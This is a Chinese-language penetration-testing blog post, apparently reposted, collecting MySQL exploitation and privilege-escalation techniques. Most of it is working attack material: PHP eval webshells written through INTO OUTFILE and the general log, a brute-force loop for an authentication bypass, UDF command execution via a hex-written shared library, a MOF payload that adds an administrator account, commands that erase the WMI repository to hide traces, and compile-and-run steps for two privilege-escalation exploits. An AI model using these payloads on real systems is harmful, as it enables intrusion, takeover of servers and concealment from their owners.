干货|Mysql漏洞利用和提权

Posted 白帽子搞安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了干货|Mysql漏洞利用和提权相关的知识,希望对你有一定的参考价值。

前言

在日常渗透过程中我们经常会和数据库打交道,其中很多时候都与mysql数据库有关,Mysql的提权,写入webshell、数据库用户权限提升等,为加深自己的记忆和方便使用,所以想记录一下我日常中对Mysql数据库漏洞的利用和奇淫技巧,欢迎大家补充。

Mysql写入shell

通过Mysql写的shell有很多弊端,比如在Linux中一般运行Mysql的服务权限都是很低的,就算有时候成功写进去有可能是访问时也会返回500,并且需要有写入的路径,所以在windowns下的成功率会高一点。如今5.5以上的版本默认是没有写入的权限的,所以说有时候很鸡肋,但也经常能给人带来惊喜。

利用into outfile直接在网站目录下写入webshell,首先必要条件是是否有写入的权限web的绝对路径。

show variables like '%secure_file_priv%'; #判断当前数据库用户是否具有写入权限


  • 如果secure_file_priv如果非空,则只能在对应的目录下读文件。

  • 如果是空即可在其他目录写(Linux下有可能是/var/lib/mysql-files/目录可写。可以配合文件包含漏洞利用)。

  • 如果为NULL则不允许导入和导出。

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件,而 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下是不可以写入文件的。

使用Mysql语句写入一句话木马:

select '<php eval($_POST[bmzgaq])?>' into outfile 'c:\\shell.php'

日志Getshell

  • 前提还是必须具又写入权限和web绝对路径,但是不需要当前数据库用户是否拥有权限

  • 原理是利用查询操作会写入到日志文件,即一句话木马会写进日志文件。

show variables like 'general%'; # 查看当前的日志记录set global general_log = "ON"; # 开启日志记录set global general_log_file="C://phpStudy/www/config.php"; # 指定日志文件

首先查询一下当前日志记录
干货|Mysql漏洞利用和提权

我们再执行一下select "<?php phpinfo();?>";  这条语句进行一次查询,查询记录就会写到日志文件中,形成一个webshell。

干货|Mysql漏洞利用和提权
我们尝试访问发现phpinfo解析成功。

干货|Mysql漏洞利用和提权

Mysql身份认证绕过漏洞

Mysql身份认证绕过漏洞即(CVE-2012-2122)

  • 漏洞原理:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

  • payload:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

干货|Mysql漏洞利用和提权

UDF提权

  • UDF(user defined function),即 用户自定义函数 ,是通过添加新的函数,实现自定义功能, 对mysql的功能进行扩充。

  • 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

1.可以通过show variables like '%plugin%';来查看插件插件目录
干货|Mysql漏洞利用和提权

2.在sqlmap中自带了udf的动态链接库文件,在/data/udf/mysql下,为了防止被误杀都经过编码处理过,都是不能直接使用的,我们需要使用sqlmap自带的解码工具进行解码,在/extra/cloak/cloak.py下:

# 例如解码64位的Linux动态链接库python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

在Metasploit中,UDF的动态链接库文件直接在metasploit根目录:

/embedded/framework/data/exploits/mysql

3.接下来就是将udf的动态链接库文件写入到mysql中,现将源文件转化成hex方便写入

xxd lib_mysqludf_sys_64.so|cut -f 2,3,4,5,6,7,8,9 -d " "| tr -d "\n" | tr -d " "
然后写入到mysql:(注意这里要当 secure_file_priv无限制的时候,我们才可以手工写文件到 plugin 目录下的)
select 0x7f454c4602010100... into dumpfile '/usr/lib/mysql/plugin/udf.so';
注意:如果是在docker下搭建的环境记得在启动的时候加上 --secure-file-priv='',并且确保/usr/lib/mysql/plugin目录可写

4.创建自定义函数并调用命令

create function sys_eval returns string soname 'udf.dll';

然后查看一下是否创建成功:

select * from mysql.func;

干货|Mysql漏洞利用和提权
最后执行命令即可:

select sys_eval('whoami');

windows指令是直接以管理员的权限运行的,所以这也就是最高权限了。

5.删除自定义函数

drop function sys_eval;

MOF提权

MOF的提取基本上都是在Windows server 2003之前的系统才可以提权成功,Windows2008以上由于保护机制,较少能够成功。
  • 提权的原理是在C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。

根据上面的提权原理 我们知道提权的前提条件就是mysql对 C:/Windows/system32/wbem/mof/ 路径有写入的权限,然后上传文件,最后文件会自动执行达到提权的目的。


mof脚本的内容:

#pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; };
instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user yuaneuro P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators yuaneuro /add\")"; };
instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
核心payload的内容是添加一个hack的用户,密码为P@ssw0rd,并把该用户添加到管理员组。

写入文件:

SELECT 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e2229200a0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c746572200a7b200a202020204576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b200a202020204e616d6520203d202266696c745032223b200a202020205175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e742022200a20202020202020202020202022576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c222022200a20202020202020202020202022416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b200a2020202051756572794c616e6775616765203d202257514c223b200a7d3b200a0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d6572200a7b200a202020204e616d65203d2022636f6e735043535632223b200a20202020536372697074696e67456e67696e65203d20224a536372697074223b200a2020202053637269707454657874203d200a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206861636b6572205040737377307264202f6164645c22295c6e5753482e72756e285c226e65742e657865206c6f63616c67726f75702061646d696e6973747261746f7273206861636b6572202f6164645c2229223b200a7d3b200a0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e67200a7b200a20202020436f6e73756d65722020203d2024436f6e73756d65723b200a2020202046696c746572203d20244576656e7446696c7465723b200a7d3b0a INTO DUMPFILE 'C:/windows/system32/wbem/mof/test.mof';
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下否则出现在 c:/windows/system32/wbem/bad 目录下:
干货|Mysql漏洞利用和提权
已经在good目录下了,说明已经执行成功了。
干货|Mysql漏洞利用和提权
用户也创建成功了
  • 痕迹清理
    因为每隔一段时间都会执行一下命令,所以一般利用完以后就会将他删除。
    我们需要暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:

# 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user hacker /delete# 重新启动服务net start winmgmt
当然还有更为简单的办法,可以使用msf中的exploit/windows/mysql/mysql_mof模块直接一键利用并且自动清理痕迹,这里就不详细去写了。

Mysql提权条件竞争漏洞

  • CVE-2016-6663 是将www-data提权至mysql

  • CVE-2016-6664 是将mysql提权至root

0x01-环境搭建

我们使用tutum/lamp的docker搭建环境,然后在网站根目录下写入一个webshell
echo "<?php @eval(\$_POST['asd']);?>" > /var/www/html/shell.php

连接数据库,创建一个数据库并创建一个用户:

create database test; # 创建数据库CREATE USER 'bmzgaq'@'%' IDENTIFIED BY '123456'; # 创建一个用户bmzgaq,密码为123456grant create,drop,insert,select on test.* to 'bmzgaq'@'%'; # 给bmzgaq用户权限flush privileges; #刷新数据库
干货|Mysql漏洞利用和提权
安装gcc等依赖工具
apt update && apt install -y wget gcc libmysqlclient-dev
/etc/mysql/conf.d/mysqld_safe_syslog.cnf中的 syslog字段删除为提权到root做准备。

0x02-将www-data提权至mysql

利用CVE-2016-6663,这是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。
  1. 上传mysql-privesc-race.c

  2. 然后编译exp:

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
  1. 提权:

./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库


4. 运行exp后发现已经被提权到mysql权限,还贴心的给我们提示了如果提权到root可以使用CVE-2016-6662 或者 CVE-2016-6664

0x03-将mysql提权至root

利用CVE-2016-6664,导致这个问题的是因为mysql对错误日志以及其他文件处理的不够安全,这些文件可被任意替换成系统文件,从而被利用获取root权限。

1.上传mysql-chowned.sh

2.查/etc/mysql/conf.d/mysqld_safe_syslog.cnf是否有syslog字段,如果有,则无法利用。

3.给予mysql-chowned.sh执行权限

chmod 777 mysql-chowned.sh

4.运行

./mysql-chowned.sh /var/log/mysql/error.log